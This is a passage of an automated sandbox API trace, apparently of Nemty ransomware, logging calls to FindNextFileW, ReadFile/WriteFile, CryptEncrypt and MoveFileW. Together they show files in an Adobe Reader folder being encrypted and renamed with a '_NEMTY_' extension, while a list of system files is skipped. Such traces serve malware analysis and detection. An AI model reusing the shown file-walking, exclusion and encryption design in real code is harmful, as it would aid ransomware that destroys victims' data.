10.0\\Reader\\IDTemplates\\CZE\\AdobeID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze\\adobeid.pdf._nemty_kgobjgd_")) returned 1 [0171.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0171.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0171.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0171.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.297] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x155af, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0171.297] lstrcmpiW (lpString1="DefaultID.pdf", lpString2=".") returned 1 [0171.297] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="..") returned 1 [0171.297] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="...") returned 1 [0171.297] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="windows") returned -1 [0171.297] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0171.298] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="rsa") returned -1 [0171.298] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="NTDETECT.COM") returned -1 [0171.298] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntldr") returned -1 [0171.298] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="MSDOS.SYS") returned -1 [0171.298] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="IO.SYS") returned -1 [0171.298] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0171.298] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0171.298] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0171.298] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntuser.dat") returned -1 [0171.298] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="desktop.ini") returned -1 [0171.298] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="CONFIG.SYS") returned 1 [0171.298] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="RECYCLER") returned -1 [0171.298] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="BOOTSECT.BAK") returned 1 [0171.298] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="bootmgr") returned 1 [0171.298] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="programdata") returned -1 [0171.298] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="appdata") returned 1 [0171.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0171.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.298] Sleep (dwMilliseconds=0x5) [0171.301] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19c01f90, dwHighDateTime=0x1d561e8)) [0171.301] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19c01f90, dwHighDateTime=0x1d561e8)) [0171.301] GetLastError () returned 0x0 [0171.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.301] GetLastError () returned 0x0 [0171.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.302] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.302] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0171.302] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0171.302] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0171.302] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0171.302] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e5dc | out: pszString="2h+vshXjN4dSuttGPsFHyL5HhQHh/eRMi03fAZW1c3JdGbc/9AyZxn3NwH++9V+Q\r\nMBUI/cPMQ3yGxYR10rzz2FFMAYxqkY2wMcV3Cip1wusq+CdKevmGgtI7xnCfklD/\r\n065gdKeB5Yz6n0IHFQfrNCf+yEncHsaSc7ESdyGf+oI8dC3YG+pgSq8g/5ptSPYq\r\neXobCRLDzMsc/nomNsXuz8O6F9FCCr53fpLnWKcj1prLwnJDShixN2XmX84c3cNT\r\nDZvC7xUDWu7jHkw9DK2/9eNObVDcB80kML3uJ9fHJzmjPEVpzrC6EMizzXf4nKVO\r\npzpr9jCNETNGYxIhtTO1DA==\r\n", pcchString=0x653e5dc) returned 1 [0171.302] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.302] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0171.302] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.302] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.302] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0171.302] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.302] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0171.302] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=87471) returned 1 [0171.302] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x155a0) returned 0x6352c48 [0171.302] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.302] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x155a0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x155a0, lpOverlapped=0x0) returned 1 [0171.356] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.356] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x155a0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x155a0, lpOverlapped=0x0) returned 1 [0171.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.357] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=87471, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x155af [0171.357] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340240*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340240*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0171.357] CloseHandle (hObject=0x3b0) returned 1 [0171.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0171.357] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.357] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0171.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0171.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0171.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.357] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\DefaultID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze\\defaultid.pdf._nemty_kgobjgd_")) returned 1 [0171.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0171.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0171.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0171.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.358] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19bb5cd0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x19bb5cd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19bb5cd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0171.358] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0171.358] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0171.358] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0171.358] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0171.358] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0171.358] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0171.358] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0171.358] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0171.358] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0171.358] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0171.358] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.358] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.358] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0171.358] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0171.358] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0171.358] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0171.358] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0171.358] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0171.358] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0171.358] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0171.358] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0171.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.358] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.358] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0171.358] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.359] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0171.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.359] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.359] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.359] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.359] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94310 [0171.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.359] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19bb5cd0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x19bb5cd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19bb5cd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0171.359] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0171.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0171.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.359] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80378de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80378de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DAN", cAlternateFileName="")) returned 1 [0171.359] lstrcmpiW (lpString1="DAN", lpString2=".") returned 1 [0171.359] lstrcmpiW (lpString1="DAN", lpString2="..") returned 1 [0171.359] lstrcmpiW (lpString1="DAN", lpString2="...") returned 1 [0171.359] lstrcmpiW (lpString1="DAN", lpString2="windows") returned -1 [0171.359] lstrcmpiW (lpString1="DAN", lpString2="$RECYCLE.BIN") returned 1 [0171.359] lstrcmpiW (lpString1="DAN", lpString2="rsa") returned -1 [0171.359] lstrcmpiW (lpString1="DAN", lpString2="NTDETECT.COM") returned -1 [0171.359] lstrcmpiW (lpString1="DAN", lpString2="ntldr") returned -1 [0171.359] lstrcmpiW (lpString1="DAN", lpString2="MSDOS.SYS") returned -1 [0171.359] lstrcmpiW (lpString1="DAN", lpString2="IO.SYS") returned -1 [0171.359] lstrcmpiW (lpString1="DAN", lpString2="boot.ini") returned 1 [0171.360] lstrcmpiW (lpString1="DAN", lpString2="boot.ini") returned 1 [0171.360] lstrcmpiW (lpString1="DAN", lpString2="AUTOEXEC.BAT") returned 1 [0171.360] lstrcmpiW (lpString1="DAN", lpString2="ntuser.dat") returned -1 [0171.360] lstrcmpiW (lpString1="DAN", lpString2="desktop.ini") returned -1 [0171.360] lstrcmpiW (lpString1="DAN", lpString2="CONFIG.SYS") returned 1 [0171.360] lstrcmpiW (lpString1="DAN", lpString2="RECYCLER") returned -1 [0171.360] lstrcmpiW (lpString1="DAN", lpString2="BOOTSECT.BAK") returned 1 [0171.360] lstrcmpiW (lpString1="DAN", lpString2="bootmgr") returned 1 [0171.360] lstrcmpiW (lpString1="DAN", lpString2="programdata") returned -1 [0171.360] lstrcmpiW (lpString1="DAN", lpString2="appdata") returned 1 [0171.360] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DAN", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.360] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DAN", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAN", lpUsedDefaultChar=0x0) returned 3 [0171.360] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DAN", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 